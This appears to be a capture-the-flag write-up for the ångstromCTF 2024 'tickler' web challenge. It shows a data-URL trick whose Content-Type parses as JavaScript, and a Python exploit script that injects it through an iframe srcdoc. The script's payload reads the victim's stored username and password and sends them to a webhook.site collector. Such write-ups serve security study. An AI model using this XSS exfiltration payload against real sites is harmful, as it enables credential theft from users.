- CTFtime: https://ctftime.org/event/2375
- Repository: https://github.com/blairsec/challenges/tree/master/angstromctf/2024
I expect that the intended solution is to prepare a server that returns a crafted Content-Type header. However, I solved this challenge without preparing the server :)
I used a data URL to solve this challenge. The concept is as follows:
const dataUrl = `data:1/1;url=https://webhook.site/xxxxx?;d=/;url+=localStorage.username+d+localStorage.password;location=url,xxx`;
const contentType = (await fetch(dataUrl)).headers.get("content-type");
console.log(contentType);
// -> 1/1;url="https://webhook.site/xxxxx?";d="/";url+=localStorage.username+d+localStorage.password;location=url
The Content-Type value generated by the MIME type of the data URL is a valid JavaScript program!
import httpx
import random
import string
import urllib.parse
BASE_URL = "https://tickler.web.actf.co"
HOOK_URL = "https://webhook.site/xxxxx"
username = "".join(random.choices(string.ascii_lowercase, k=8))
password = "".join(random.choices(string.ascii_lowercase, k=8))
client = httpx.Client(base_url=BASE_URL)
res = client.post(
"/api/doRegister",
json={
"username": username,
"password": password,
},
)
assert res.json()["result"]["data"]["success"], res
headers = {
"login": f"{username}:{password}",
}
res = client.post(
"/api/setPicture",
json={
"url": f"data:1/1;url={HOOK_URL}?;d=/;url+=localStorage.username+d+localStorage.password;location=url,xxx",
},
headers=headers,
)
assert res.json()["result"]["data"]["success"], res
res = client.get("/picture", params={"username": username})
print(res.text)
# -> data:1/1;url="https://webhook.site/xxxxx?";d="/";url+=localStorage.username+d+localStorage.password;location=url;base64,eHh4
# This is a valid JavaScript program.
url = f"https://tickler.web.actf.co/login?error={urllib.parse.quote(
f"<iframe srcdoc=\"<script src='{res.request.url}'></script>\"></iframe>"
)}"
print(url)
# Report this URL to the admin bot